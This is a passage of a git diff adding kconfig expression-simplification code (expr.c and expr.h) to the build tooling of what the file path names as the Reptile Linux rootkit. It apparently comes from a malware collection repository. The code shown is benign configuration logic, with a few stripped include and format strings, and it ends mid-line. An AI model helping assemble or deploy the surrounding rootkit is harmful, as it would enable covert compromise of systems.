{ + if (e->left.expr->left.sym == &symbol_no) { + free(e->left.expr); + tmp = e->right.expr; + *e = *(e->right.expr); + free(tmp); + return e; + } else if (e->left.expr->left.sym == &symbol_yes) { + expr_free(e->left.expr); + expr_free(e->right.expr); + e->type = E_SYMBOL; + e->left.sym = &symbol_yes; + e->right.expr = NULL; + return e; + } + } + if (e->right.expr->type == E_SYMBOL) { + if (e->right.expr->left.sym == &symbol_no) { + free(e->right.expr); + tmp = e->left.expr; + *e = *(e->left.expr); + free(tmp); + return e; + } else if (e->right.expr->left.sym == &symbol_yes) { + expr_free(e->left.expr); + expr_free(e->right.expr); + e->type = E_SYMBOL; + e->left.sym = &symbol_yes; + e->right.expr = NULL; + return e; + } + } + break; + default: + ; + } + return e; +} + +/* + * bool FOO!=n => FOO + */ +struct expr *expr_trans_bool(struct expr *e) +{ + if (!e) + return NULL; + switch (e->type) { + case E_AND: + case E_OR: + case E_NOT: + e->left.expr = expr_trans_bool(e->left.expr); + e->right.expr = expr_trans_bool(e->right.expr); + break; + case E_UNEQUAL: + // FOO!=n -> FOO + if (e->left.sym->type == S_TRISTATE) { + if (e->right.sym == &symbol_no) { + e->type = E_SYMBOL; + e->right.sym = NULL; + } + } + break; + default: + ; + } + return e; +} + +/* + * e1 || e2 -> ? + */ +static struct expr *expr_join_or(struct expr *e1, struct expr *e2) +{ + struct expr *tmp; + struct symbol *sym1, *sym2; + + if (expr_eq(e1, e2)) + return expr_copy(e1); + if (e1->type != E_EQUAL && e1->type != E_UNEQUAL && e1->type != E_SYMBOL && e1->type != E_NOT) + return NULL; + if (e2->type != E_EQUAL && e2->type != E_UNEQUAL && e2->type != E_SYMBOL && e2->type != E_NOT) + return NULL; + if (e1->type == E_NOT) { + tmp = e1->left.expr; + if (tmp->type != E_EQUAL && tmp->type != E_UNEQUAL && tmp->type != E_SYMBOL) + return NULL; + sym1 = tmp->left.sym; + } else + sym1 = e1->left.sym; + if (e2->type == E_NOT) { + if (e2->left.expr->type != E_SYMBOL) + return NULL; + sym2 = e2->left.expr->left.sym; + } else + sym2 = e2->left.sym; + if (sym1 != sym2) + return NULL; + if (sym1->type != S_BOOLEAN && sym1->type != S_TRISTATE) + return NULL; + if (sym1->type == S_TRISTATE) { + if (e1->type == E_EQUAL && e2->type == E_EQUAL && + ((e1->right.sym == &symbol_yes && e2->right.sym == &symbol_mod) || + (e1->right.sym == &symbol_mod && e2->right.sym == &symbol_yes))) { + // (a='y') || (a='m') -> (a!='n') + return expr_alloc_comp(E_UNEQUAL, sym1, &symbol_no); + } + if (e1->type == E_EQUAL && e2->type == E_EQUAL && + ((e1->right.sym == &symbol_yes && e2->right.sym == &symbol_no) || + (e1->right.sym == &symbol_no && e2->right.sym == &symbol_yes))) { + // (a='y') || (a='n') -> (a!='m') + return expr_alloc_comp(E_UNEQUAL, sym1, &symbol_mod); + } + if (e1->type == E_EQUAL && e2->type == E_EQUAL && + ((e1->right.sym == &symbol_mod && e2->right.sym == &symbol_no) || + (e1->right.sym == &symbol_no && e2->right.sym == &symbol_mod))) { + // (a='m') || (a='n') -> (a!='y') + return expr_alloc_comp(E_UNEQUAL, sym1, &symbol_yes); + } + } + if (sym1->type == S_BOOLEAN && sym1 == sym2) { + if ((e1->type == E_NOT && e1->left.expr->type == E_SYMBOL && e2->type == E_SYMBOL) || + (e2->type == E_NOT && e2->left.expr->type == E_SYMBOL && e1->type == E_SYMBOL)) + return expr_alloc_symbol(&symbol_yes); + } + + if (DEBUG_EXPR) { + printf("optimize ("); + expr_fprint(e1, stdout); + printf(") || ("); + expr_fprint(e2, stdout); + printf(")?\n"); + } + return NULL; +} + +static struct expr *expr_join_and(struct expr *e1, struct expr *e2) +{ + struct expr *tmp; + struct symbol *sym1, *sym2; + + if (expr_eq(e1, e2)) + return expr_copy(e1); + if (e1->type != E_EQUAL && e1->type != E_UNEQUAL && e1->type != E_SYMBOL && e1->type != E_NOT) + return NULL; + if (e2->type != E_EQUAL && e2->type != E_UNEQUAL && e2->type != E_SYMBOL && e2->type != E_NOT) + return NULL; + if (e1->type == E_NOT) { + tmp = e1->left.expr; + if (tmp->type != E_EQUAL && tmp->type != E_UNEQUAL && tmp->type != E_SYMBOL) + return NULL; + sym1 = tmp->left.sym; + } else + sym1 = e1->left.sym; + if (e2->type == E_NOT) { + if (e2->left.expr->type != E_SYMBOL) + return NULL; + sym2 = e2->left.expr->left.sym; + } else + sym2 = e2->left.sym; + if (sym1 != sym2) + return NULL; + if (sym1->type != S_BOOLEAN && sym1->type != S_TRISTATE) + return NULL; + + if ((e1->type == E_SYMBOL && e2->type == E_EQUAL && e2->right.sym == &symbol_yes) || + (e2->type == E_SYMBOL && e1->type == E_EQUAL && e1->right.sym == &symbol_yes)) + // (a) && (a='y') -> (a='y') + return expr_alloc_comp(E_EQUAL, sym1, &symbol_yes); + + if ((e1->type == E_SYMBOL && e2->type == E_UNEQUAL && e2->right.sym == &symbol_no) || + (e2->type == E_SYMBOL && e1->type == E_UNEQUAL && e1->right.sym == &symbol_no)) + // (a) && (a!='n') -> (a) + return expr_alloc_symbol(sym1); + + if ((e1->type == E_SYMBOL && e2->type == E_UNEQUAL && e2->right.sym == &symbol_mod) || + (e2->type == E_SYMBOL && e1->type == E_UNEQUAL && e1->right.sym == &symbol_mod)) + // (a) && (a!='m') -> (a='y') + return expr_alloc_comp(E_EQUAL, sym1, &symbol_yes); + + if (sym1->type == S_TRISTATE) { + if (e1->type == E_EQUAL && e2->type == E_UNEQUAL) { + // (a='b') && (a!='c') -> 'b'='c' ? 'n' : a='b' + sym2 = e1->right.sym; + if ((e2->right.sym->flags & SYMBOL_CONST) && (sym2->flags & SYMBOL_CONST)) + return sym2 != e2->right.sym ? expr_alloc_comp(E_EQUAL, sym1, sym2) + : expr_alloc_symbol(&symbol_no); + } + if (e1->type == E_UNEQUAL && e2->type == E_EQUAL) { + // (a='b') && (a!='c') -> 'b'='c' ? 'n' : a='b' + sym2 = e2->right.sym; + if ((e1->right.sym->flags & SYMBOL_CONST) && (sym2->flags & SYMBOL_CONST)) + return sym2 != e1->right.sym ? expr_alloc_comp(E_EQUAL, sym1, sym2) + : expr_alloc_symbol(&symbol_no); + } + if (e1->type == E_UNEQUAL && e2->type == E_UNEQUAL && + ((e1->right.sym == &symbol_yes && e2->right.sym == &symbol_no) || + (e1->right.sym == &symbol_no && e2->right.sym == &symbol_yes))) + // (a!='y') && (a!='n') -> (a='m') + return expr_alloc_comp(E_EQUAL, sym1, &symbol_mod); + + if (e1->type == E_UNEQUAL && e2->type == E_UNEQUAL && + ((e1->right.sym == &symbol_yes && e2->right.sym == &symbol_mod) || + (e1->right.sym == &symbol_mod && e2->right.sym == &symbol_yes))) + // (a!='y') && (a!='m') -> (a='n') + return expr_alloc_comp(E_EQUAL, sym1, &symbol_no); + + if (e1->type == E_UNEQUAL && e2->type == E_UNEQUAL && + ((e1->right.sym == &symbol_mod && e2->right.sym == &symbol_no) || + (e1->right.sym == &symbol_no && e2->right.sym == &symbol_mod))) + // (a!='m') && (a!='n') -> (a='m') + return expr_alloc_comp(E_EQUAL, sym1, &symbol_yes); + + if ((e1->type == E_SYMBOL && e2->type == E_EQUAL && e2->right.sym == &symbol_mod) || + (e2->type == E_SYMBOL && e1->type == E_EQUAL && e1->right.sym == &symbol_mod) || + (e1->type == E_SYMBOL && e2->type == E_UNEQUAL && e2->right.sym == &symbol_yes) || + (e2->type == E_SYMBOL && e1->type == E_UNEQUAL && e1->right.sym == &symbol_yes)) + return NULL; + } + + if (DEBUG_EXPR) { + printf("optimize ("); + expr_fprint(e1, stdout); + printf(") && ("); + expr_fprint(e2, stdout); + printf(")?\n"); + } + return NULL; +} + +static void expr_eliminate_dups1(enum expr_type type, struct expr **ep1, struct expr **ep2) +{ +#define e1 (*ep1) +#define e2 (*ep2) + struct expr *tmp; + + if (e1->type == type) { + expr_eliminate_dups1(type, &e1->left.expr, &e2); + expr_eliminate_dups1(type, &e1->right.expr, &e2); + return; + } + if (e2->type == type) { + expr_eliminate_dups1(type, &e1, &e2->left.expr); + expr_eliminate_dups1(type, &e1, &e2->right.expr); + return; + } + if (e1 == e2) + return; + + switch (e1->type) { + case E_OR: case E_AND: + expr_eliminate_dups1(e1->type, &e1, &e1); + default: + ; + } + + switch (type) { + case E_OR: + tmp = expr_join_or(e1, e2); + if (tmp) { + expr_free(e1); expr_free(e2); + e1 = expr_alloc_symbol(&symbol_no); + e2 = tmp; + trans_count++; + } + break; + case E_AND: + tmp = expr_join_and(e1, e2); + if (tmp) { + expr_free(e1); expr_free(e2); + e1 = expr_alloc_symbol(&symbol_yes); + e2 = tmp; + trans_count++; + } + break; + default: + ; + } +#undef e1 +#undef e2 +} + +static void expr_eliminate_dups2(enum expr_type type, struct expr **ep1, struct expr **ep2) +{ +#define e1 (*ep1) +#define e2 (*ep2) + struct expr *tmp, *tmp1, *tmp2; + + if (e1->type == type) { + expr_eliminate_dups2(type, &e1->left.expr, &e2); + expr_eliminate_dups2(type, &e1->right.expr, &e2); + return; + } + if (e2->type == type) { + expr_eliminate_dups2(type, &e1, &e2->left.expr); + expr_eliminate_dups2(type, &e1, &e2->right.expr); + } + if (e1 == e2) + return; + + switch (e1->type) { + case E_OR: + expr_eliminate_dups2(e1->type, &e1, &e1); + // (FOO || BAR) && (!FOO && !BAR) -> n + tmp1 = expr_transform(expr_alloc_one(E_NOT, expr_copy(e1))); + tmp2 = expr_copy(e2); + tmp = expr_extract_eq_and(&tmp1, &tmp2); + if (expr_is_yes(tmp1)) { + expr_free(e1); + e1 = expr_alloc_symbol(&symbol_no); + trans_count++; + } + expr_free(tmp2); + expr_free(tmp1); + expr_free(tmp); + break; + case E_AND: + expr_eliminate_dups2(e1->type, &e1, &e1); + // (FOO && BAR) || (!FOO || !BAR) -> y + tmp1 = expr_transform(expr_alloc_one(E_NOT, expr_copy(e1))); + tmp2 = expr_copy(e2); + tmp = expr_extract_eq_or(&tmp1, &tmp2); + if (expr_is_no(tmp1)) { + expr_free(e1); + e1 = expr_alloc_symbol(&symbol_yes); + trans_count++; + } + expr_free(tmp2); + expr_free(tmp1); + expr_free(tmp); + break; + default: + ; + } +#undef e1 +#undef e2 +} + +struct expr *expr_eliminate_dups(struct expr *e) +{ + int oldcount; + if (!e) + return e; + + oldcount = trans_count; + while (1) { + trans_count = 0; + switch (e->type) { + case E_OR: case E_AND: + expr_eliminate_dups1(e->type, &e, &e); + expr_eliminate_dups2(e->type, &e, &e); + default: + ; + } + if (!trans_count) + break; + e = expr_eliminate_yn(e); + } + trans_count = oldcount; + return e; +} + +struct expr *expr_transform(struct expr *e) +{ + struct expr *tmp; + + if (!e) + return NULL; + switch (e->type) { + case E_EQUAL: + case E_UNEQUAL: + case E_SYMBOL: + case E_LIST: + break; + default: + e->left.expr = expr_transform(e->left.expr); + e->right.expr = expr_transform(e->right.expr); + } + + switch (e->type) { + case E_EQUAL: + if (e->left.sym->type != S_BOOLEAN) + break; + if (e->right.sym == &symbol_no) { + e->type = E_NOT; + e->left.expr = expr_alloc_symbol(e->left.sym); + e->right.sym = NULL; + break; + } + if (e->right.sym == &symbol_mod) { + printf("boolean symbol %s tested for 'm'? test forced to 'n'\n", e->left.sym->name); + e->type = E_SYMBOL; + e->left.sym = &symbol_no; + e->right.sym = NULL; + break; + } + if (e->right.sym == &symbol_yes) { + e->type = E_SYMBOL; + e->right.sym = NULL; + break; + } + break; + case E_UNEQUAL: + if (e->left.sym->type != S_BOOLEAN) + break; + if (e->right.sym == &symbol_no) { + e->type = E_SYMBOL; + e->right.sym = NULL; + break; + } + if (e->right.sym == &symbol_mod) { + printf("boolean symbol %s tested for 'm'? test forced to 'y'\n", e->left.sym->name); + e->type = E_SYMBOL; + e->left.sym = &symbol_yes; + e->right.sym = NULL; + break; + } + if (e->right.sym == &symbol_yes) { + e->type = E_NOT; + e->left.expr = expr_alloc_symbol(e->left.sym); + e->right.sym = NULL; + break; + } + break; + case E_NOT: + switch (e->left.expr->type) { + case E_NOT: + // !!a -> a + tmp = e->left.expr->left.expr; + free(e->left.expr); + free(e); + e = tmp; + e = expr_transform(e); + break; + case E_EQUAL: + case E_UNEQUAL: + // !a='x' -> a!='x' + tmp = e->left.expr; + free(e); + e = tmp; + e->type = e->type == E_EQUAL ? E_UNEQUAL : E_EQUAL; + break; + case E_OR: + // !(a || b) -> !a && !b + tmp = e->left.expr; + e->type = E_AND; + e->right.expr = expr_alloc_one(E_NOT, tmp->right.expr); + tmp->type = E_NOT; + tmp->right.expr = NULL; + e = expr_transform(e); + break; + case E_AND: + // !(a && b) -> !a || !b + tmp = e->left.expr; + e->type = E_OR; + e->right.expr = expr_alloc_one(E_NOT, tmp->right.expr); + tmp->type = E_NOT; + tmp->right.expr = NULL; + e = expr_transform(e); + break; + case E_SYMBOL: + if (e->left.expr->left.sym == &symbol_yes) { + // !'y' -> 'n' + tmp = e->left.expr; + free(e); + e = tmp; + e->type = E_SYMBOL; + e->left.sym = &symbol_no; + break; + } + if (e->left.expr->left.sym == &symbol_mod) { + // !'m' -> 'm' + tmp = e->left.expr; + free(e); + e = tmp; + e->type = E_SYMBOL; + e->left.sym = &symbol_mod; + break; + } + if (e->left.expr->left.sym == &symbol_no) { + // !'n' -> 'y' + tmp = e->left.expr; + free(e); + e = tmp; + e->type = E_SYMBOL; + e->left.sym = &symbol_yes; + break; + } + break; + default: + ; + } + break; + default: + ; + } + return e; +} + +int expr_contains_symbol(struct expr *dep, struct symbol *sym) +{ + if (!dep) + return 0; + + switch (dep->type) { + case E_AND: + case E_OR: + return expr_contains_symbol(dep->left.expr, sym) || + expr_contains_symbol(dep->right.expr, sym); + case E_SYMBOL: + return dep->left.sym == sym; + case E_EQUAL: + case E_UNEQUAL: + return dep->left.sym == sym || + dep->right.sym == sym; + case E_NOT: + return expr_contains_symbol(dep->left.expr, sym); + default: + ; + } + return 0; +} + +bool expr_depends_symbol(struct expr *dep, struct symbol *sym) +{ + if (!dep) + return false; + + switch (dep->type) { + case E_AND: + return expr_depends_symbol(dep->left.expr, sym) || + expr_depends_symbol(dep->right.expr, sym); + case E_SYMBOL: + return dep->left.sym == sym; + case E_EQUAL: + if (dep->left.sym == sym) { + if (dep->right.sym == &symbol_yes || dep->right.sym == &symbol_mod) + return true; + } + break; + case E_UNEQUAL: + if (dep->left.sym == sym) { + if (dep->right.sym == &symbol_no) + return true; + } + break; + default: + ; + } + return false; +} + +struct expr *expr_extract_eq_and(struct expr **ep1, struct expr **ep2) +{ + struct expr *tmp = NULL; + expr_extract_eq(E_AND, &tmp, ep1, ep2); + if (tmp) { + *ep1 = expr_eliminate_yn(*ep1); + *ep2 = expr_eliminate_yn(*ep2); + } + return tmp; +} + +struct expr *expr_extract_eq_or(struct expr **ep1, struct expr **ep2) +{ + struct expr *tmp = NULL; + expr_extract_eq(E_OR, &tmp, ep1, ep2); + if (tmp) { + *ep1 = expr_eliminate_yn(*ep1); + *ep2 = expr_eliminate_yn(*ep2); + } + return tmp; +} + +void expr_extract_eq(enum expr_type type, struct expr **ep, struct expr **ep1, struct expr **ep2) +{ +#define e1 (*ep1) +#define e2 (*ep2) + if (e1->type == type) { + expr_extract_eq(type, ep, &e1->left.expr, &e2); + expr_extract_eq(type, ep, &e1->right.expr, &e2); + return; + } + if (e2->type == type) { + expr_extract_eq(type, ep, ep1, &e2->left.expr); + expr_extract_eq(type, ep, ep1, &e2->right.expr); + return; + } + if (expr_eq(e1, e2)) { + *ep = *ep ? expr_alloc_two(type, *ep, e1) : e1; + expr_free(e2); + if (type == E_AND) { + e1 = expr_alloc_symbol(&symbol_yes); + e2 = expr_alloc_symbol(&symbol_yes); + } else if (type == E_OR) { + e1 = expr_alloc_symbol(&symbol_no); + e2 = expr_alloc_symbol(&symbol_no); + } + } +#undef e1 +#undef e2 +} + +struct expr *expr_trans_compare(struct expr *e, enum expr_type type, struct symbol *sym) +{ + struct expr *e1, *e2; + + if (!e) { + e = expr_alloc_symbol(sym); + if (type == E_UNEQUAL) + e = expr_alloc_one(E_NOT, e); + return e; + } + switch (e->type) { + case E_AND: + e1 = expr_trans_compare(e->left.expr, E_EQUAL, sym); + e2 = expr_trans_compare(e->right.expr, E_EQUAL, sym); + if (sym == &symbol_yes) + e = expr_alloc_two(E_AND, e1, e2); + if (sym == &symbol_no) + e = expr_alloc_two(E_OR, e1, e2); + if (type == E_UNEQUAL) + e = expr_alloc_one(E_NOT, e); + return e; + case E_OR: + e1 = expr_trans_compare(e->left.expr, E_EQUAL, sym); + e2 = expr_trans_compare(e->right.expr, E_EQUAL, sym); + if (sym == &symbol_yes) + e = expr_alloc_two(E_OR, e1, e2); + if (sym == &symbol_no) + e = expr_alloc_two(E_AND, e1, e2); + if (type == E_UNEQUAL) + e = expr_alloc_one(E_NOT, e); + return e; + case E_NOT: + return expr_trans_compare(e->left.expr, type == E_EQUAL ? E_UNEQUAL : E_EQUAL, sym); + case E_UNEQUAL: + case E_EQUAL: + if (type == E_EQUAL) { + if (sym == &symbol_yes) + return expr_copy(e); + if (sym == &symbol_mod) + return expr_alloc_symbol(&symbol_no); + if (sym == &symbol_no) + return expr_alloc_one(E_NOT, expr_copy(e)); + } else { + if (sym == &symbol_yes) + return expr_alloc_one(E_NOT, expr_copy(e)); + if (sym == &symbol_mod) + return expr_alloc_symbol(&symbol_yes); + if (sym == &symbol_no) + return expr_copy(e); + } + break; + case E_SYMBOL: + return expr_alloc_comp(type, e->left.sym, sym); + case E_LIST: + case E_RANGE: + case E_NONE: + /* panic */; + } + return NULL; +} + +tristate expr_calc_value(struct expr *e) +{ + tristate val1, val2; + const char *str1, *str2; + + if (!e) + return yes; + + switch (e->type) { + case E_SYMBOL: + sym_calc_value(e->left.sym); + return e->left.sym->curr.tri; + case E_AND: + val1 = expr_calc_value(e->left.expr); + val2 = expr_calc_value(e->right.expr); + return EXPR_AND(val1, val2); + case E_OR: + val1 = expr_calc_value(e->left.expr); + val2 = expr_calc_value(e->right.expr); + return EXPR_OR(val1, val2); + case E_NOT: + val1 = expr_calc_value(e->left.expr); + return EXPR_NOT(val1); + case E_EQUAL: + sym_calc_value(e->left.sym); + sym_calc_value(e->right.sym); + str1 = sym_get_string_value(e->left.sym); + str2 = sym_get_string_value(e->right.sym); + return !strcmp(str1, str2) ? yes : no; + case E_UNEQUAL: + sym_calc_value(e->left.sym); + sym_calc_value(e->right.sym); + str1 = sym_get_string_value(e->left.sym); + str2 = sym_get_string_value(e->right.sym); + return !strcmp(str1, str2) ? no : yes; + default: + printf("expr_calc_value: %d?\n", e->type); + return no; + } +} + +int expr_compare_type(enum expr_type t1, enum expr_type t2) +{ +#if 0 + return 1; +#else + if (t1 == t2) + return 0; + switch (t1) { + case E_EQUAL: + case E_UNEQUAL: + if (t2 == E_NOT) + return 1; + case E_NOT: + if (t2 == E_AND) + return 1; + case E_AND: + if (t2 == E_OR) + return 1; + case E_OR: + if (t2 == E_LIST) + return 1; + case E_LIST: + if (t2 == 0) + return 1; + default: + return -1; + } + printf("[%dgt%d?]", t1, t2); + return 0; +#endif +} + +static inline struct expr * +expr_get_leftmost_symbol(const struct expr *e) +{ + + if (e == NULL) + return NULL; + + while (e->type != E_SYMBOL) + e = e->left.expr; + + return expr_copy(e); +} + +/* + * Given expression `e1' and `e2', returns the leaf of the longest + * sub-expression of `e1' not containing 'e2. + */ +struct expr *expr_simplify_unmet_dep(struct expr *e1, struct expr *e2) +{ + struct expr *ret; + + switch (e1->type) { + case E_OR: + return expr_alloc_and( + expr_simplify_unmet_dep(e1->left.expr, e2), + expr_simplify_unmet_dep(e1->right.expr, e2)); + case E_AND: { + struct expr *e; + e = expr_alloc_and(expr_copy(e1), expr_copy(e2)); + e = expr_eliminate_dups(e); + ret = (!expr_eq(e, e1)) ? e1 : NULL; + expr_free(e); + break; + } + default: + ret = e1; + break; + } + + return expr_get_leftmost_symbol(ret); +} + +void expr_print(struct expr *e, void (*fn)(void *, struct symbol *, const char *), void *data, int prevtoken) +{ + if (!e) { + fn(data, NULL, "y"); + return; + } + + if (expr_compare_type(prevtoken, e->type) > 0) + fn(data, NULL, "("); + switch (e->type) { + case E_SYMBOL: + if (e->left.sym->name) + fn(data, e->left.sym, e->left.sym->name); + else + fn(data, NULL, ""); + break; + case E_NOT: + fn(data, NULL, "!"); + expr_print(e->left.expr, fn, data, E_NOT); + break; + case E_EQUAL: + if (e->left.sym->name) + fn(data, e->left.sym, e->left.sym->name); + else + fn(data, NULL, ""); + fn(data, NULL, "="); + fn(data, e->right.sym, e->right.sym->name); + break; + case E_UNEQUAL: + if (e->left.sym->name) + fn(data, e->left.sym, e->left.sym->name); + else + fn(data, NULL, ""); + fn(data, NULL, "!="); + fn(data, e->right.sym, e->right.sym->name); + break; + case E_OR: + expr_print(e->left.expr, fn, data, E_OR); + fn(data, NULL, " || "); + expr_print(e->right.expr, fn, data, E_OR); + break; + case E_AND: + expr_print(e->left.expr, fn, data, E_AND); + fn(data, NULL, " && "); + expr_print(e->right.expr, fn, data, E_AND); + break; + case E_LIST: + fn(data, e->right.sym, e->right.sym->name); + if (e->left.expr) { + fn(data, NULL, " ^ "); + expr_print(e->left.expr, fn, data, E_LIST); + } + break; + case E_RANGE: + fn(data, NULL, "["); + fn(data, e->left.sym, e->left.sym->name); + fn(data, NULL, " "); + fn(data, e->right.sym, e->right.sym->name); + fn(data, NULL, "]"); + break; + default: + { + char buf[32]; + sprintf(buf, "", e->type); + fn(data, NULL, buf); + break; + } + } + if (expr_compare_type(prevtoken, e->type) > 0) + fn(data, NULL, ")"); +} + +static void expr_print_file_helper(void *data, struct symbol *sym, const char *str) +{ + xfwrite(str, strlen(str), 1, data); +} + +void expr_fprint(struct expr *e, FILE *out) +{ + expr_print(e, expr_print_file_helper, out, E_NONE); +} + +static void expr_print_gstr_helper(void *data, struct symbol *sym, const char *str) +{ + struct gstr *gs = (struct gstr*)data; + const char *sym_str = NULL; + + if (sym) + sym_str = sym_get_string_value(sym); + + if (gs->max_width) { + unsigned extra_length = strlen(str); + const char *last_cr = strrchr(gs->s, '\n'); + unsigned last_line_length; + + if (sym_str) + extra_length += 4 + strlen(sym_str); + + if (!last_cr) + last_cr = gs->s; + + last_line_length = strlen(gs->s) - (last_cr - gs->s); + + if ((last_line_length + extra_length) > gs->max_width) + str_append(gs, "\\\n"); + } + + str_append(gs, str); + if (sym && sym->type != S_UNKNOWN) + str_printf(gs, " [=%s]", sym_str); +} + +void expr_gstr_print(struct expr *e, struct gstr *gs) +{ + expr_print(e, expr_print_gstr_helper, gs, E_NONE); +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/expr.h b/Linux/Rootkits/Reptile/scripts/kconfig/expr.h new file mode 100644 index 0000000..6d23580 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/expr.h @@ -0,0 +1,238 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#ifndef EXPR_H +#define EXPR_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include +#include "list.h" +#ifndef __cplusplus +#include +#endif + +struct file { + struct file *next; + struct file *parent; + const char *name; + int lineno; +}; + +typedef enum tristate { + no, mod, yes +} tristate; + +enum expr_type { + E_NONE, E_OR, E_AND, E_NOT, E_EQUAL, E_UNEQUAL, E_LIST, E_SYMBOL, E_RANGE +}; + +union expr_data { + struct expr *expr; + struct symbol *sym; +}; + +struct expr { + enum expr_type type; + union expr_data left, right; +}; + +#define EXPR_OR(dep1, dep2) (((dep1)>(dep2))?(dep1):(dep2)) +#define EXPR_AND(dep1, dep2) (((dep1)<(dep2))?(dep1):(dep2)) +#define EXPR_NOT(dep) (2-(dep)) + +#define expr_list_for_each_sym(l, e, s) \ + for (e = (l); e && (s = e->right.sym); e = e->left.expr) + +struct expr_value { + struct expr *expr; + tristate tri; +}; + +struct symbol_value { + void *val; + tristate tri; +}; + +enum symbol_type { + S_UNKNOWN, S_BOOLEAN, S_TRISTATE, S_INT, S_HEX, S_STRING, S_OTHER +}; + +/* enum values are used as index to symbol.def[] */ +enum { + S_DEF_USER, /* main user value */ + S_DEF_AUTO, /* values read from auto.conf */ + S_DEF_DEF3, /* Reserved for UI usage */ + S_DEF_DEF4, /* Reserved for UI usage */ + S_DEF_COUNT +}; + +struct symbol { + struct symbol *next; + char *name; + enum symbol_type type; + struct symbol_value curr; + struct symbol_value def[S_DEF_COUNT]; + tristate visible; + int flags; + struct property *prop; + struct expr_value dir_dep; + struct expr_value rev_dep; +}; + +#define for_all_symbols(i, sym) for (i = 0; i < SYMBOL_HASHSIZE; i++) for (sym = symbol_hash[i]; sym; sym = sym->next) if (sym->type != S_OTHER) + +#define SYMBOL_CONST 0x0001 /* symbol is const */ +#define SYMBOL_CHECK 0x0008 /* used during dependency checking */ +#define SYMBOL_CHOICE 0x0010 /* start of a choice block (null name) */ +#define SYMBOL_CHOICEVAL 0x0020 /* used as a value in a choice block */ +#define SYMBOL_VALID 0x0080 /* set when symbol.curr is calculated */ +#define SYMBOL_OPTIONAL 0x0100 /* choice is optional - values can be 'n' */ +#define SYMBOL_WRITE 0x0200 /* write symbol to file (PRODUCT_ENV"_CONFIG") */ +#define SYMBOL_CHANGED 0x0400 /* ? */ +#define SYMBOL_AUTO 0x1000 /* value from environment variable */ +#define SYMBOL_CHECKED 0x2000 /* used during dependency checking */ +#define SYMBOL_WARNED 0x8000 /* warning has been issued */ + +/* Set when symbol.def[] is used */ +#define SYMBOL_DEF 0x10000 /* First bit of SYMBOL_DEF */ +#define SYMBOL_DEF_USER 0x10000 /* symbol.def[S_DEF_USER] is valid */ +#define SYMBOL_DEF_AUTO 0x20000 /* symbol.def[S_DEF_AUTO] is valid */ +#define SYMBOL_DEF3 0x40000 /* symbol.def[S_DEF_3] is valid */ +#define SYMBOL_DEF4 0x80000 /* symbol.def[S_DEF_4] is valid */ + +/* choice values need to be set before calculating this symbol value */ +#define SYMBOL_NEED_SET_CHOICE_VALUES 0x100000 + +#define SYMBOL_MAXLENGTH 256 +#define SYMBOL_HASHSIZE 9973 + +/* A property represent the config options that can be associated + * with a config "symbol". + * Sample: + * config FOO + * default y + * prompt "foo prompt" + * select BAR + * config BAZ + * int "BAZ Value" + * range 1..255 + */ +enum prop_type { + P_UNKNOWN, + P_PROMPT, /* prompt "foo prompt" or "BAZ Value" */ + P_COMMENT, /* text associated with a comment */ + P_MENU, /* prompt associated with a menuconfig option */ + P_DEFAULT, /* default y */ + P_CHOICE, /* choice value */ + P_SELECT, /* select BAR */ + P_RANGE, /* range 7..100 (for a symbol) */ + P_ENV, /* value from environment variable */ + P_SYMBOL, /* where a symbol is defined */ +}; + +struct property { + struct property *next; /* next property - null if last */ + struct symbol *sym; /* the symbol for which the property is associated */ + enum prop_type type; /* type of property */ + const char *text; /* the prompt value - P_PROMPT, P_MENU, P_COMMENT */ + struct expr_value visible; + struct expr *expr; /* the optional conditional part of the property */ + struct menu *menu; /* the menu the property are associated with + * valid for: P_SELECT, P_RANGE, P_CHOICE, + * P_PROMPT, P_DEFAULT, P_MENU, P_COMMENT */ + struct file *file; /* what file was this property defined */ + int lineno; /* what lineno was this property defined */ +}; + +#define for_all_properties(sym, st, tok) \ + for (st = sym->prop; st; st = st->next) \ + if (st->type == (tok)) +#define for_all_defaults(sym, st) for_all_properties(sym, st, P_DEFAULT) +#define for_all_choices(sym, st) for_all_properties(sym, st, P_CHOICE) +#define for_all_prompts(sym, st) \ + for (st = sym->prop; st; st = st->next) \ + if (st->text) + +struct menu { + struct menu *next; + struct menu *parent; + struct menu *list; + struct symbol *sym; + struct property *prompt; + struct expr *visibility; + struct expr *dep; + unsigned int flags; + char *help; + struct file *file; + int lineno; + void *data; +}; + +#define MENU_CHANGED 0x0001 +#define MENU_ROOT 0x0002 + +struct jump_key { + struct list_head entries; + size_t offset; + struct menu *target; + int index; +}; + +#define JUMP_NB 9 + +extern struct file *file_list; +extern struct file *current_file; +struct file *lookup_file(const char *name); + +extern struct symbol symbol_yes, symbol_no, symbol_mod; +extern struct symbol *modules_sym; +extern struct symbol *sym_defconfig_list; +extern int cdebug; +struct expr *expr_alloc_symbol(struct symbol *sym); +struct expr *expr_alloc_one(enum expr_type type, struct expr *ce); +struct expr *expr_alloc_two(enum expr_type type, struct expr *e1, struct expr *e2); +struct expr *expr_alloc_comp(enum expr_type type, struct symbol *s1, struct symbol *s2); +struct expr *expr_alloc_and(struct expr *e1, struct expr *e2); +struct expr *expr_alloc_or(struct expr *e1, struct expr *e2); +struct expr *expr_copy(const struct expr *org); +void expr_free(struct expr *e); +int expr_eq(struct expr *e1, struct expr *e2); +void expr_eliminate_eq(struct expr **ep1, struct expr **ep2); +tristate expr_calc_value(struct expr *e); +struct expr *expr_eliminate_yn(struct expr *e); +struct expr *expr_trans_bool(struct expr *e); +struct expr *expr_eliminate_dups(struct expr *e); +struct expr *expr_transform(struct expr *e); +int expr_contains_symbol(struct expr *dep, struct symbol *sym); +bool expr_depends_symbol(struct expr *dep, struct symbol *sym); +struct expr *expr_extract_eq_and(struct expr **ep1, struct expr **ep2); +struct expr *expr_extract_eq_or(struct expr **ep1, struct expr **ep2); +void expr_extract_eq(enum expr_type type, struct expr **ep, struct expr **ep1, struct expr **ep2); +struct expr *expr_trans_compare(struct expr *e, enum expr_type type, struct symbol *sym); +struct expr *expr_simplify_unmet_dep(struct expr *e1, struct expr *e2); + +void expr_fprint(struct expr *e, FILE *out); +struct gstr; /* forward */ +void expr_gstr_print(struct expr *e, struct gstr *gs); + +static inline int expr_is_yes(struct expr *e) +{ + return !e || (e->type == E_SYMBOL && e->left.sym == &symbol_yes); +} + +static inline int expr_is_no(struct expr *e) +{ + return e && (e->type == 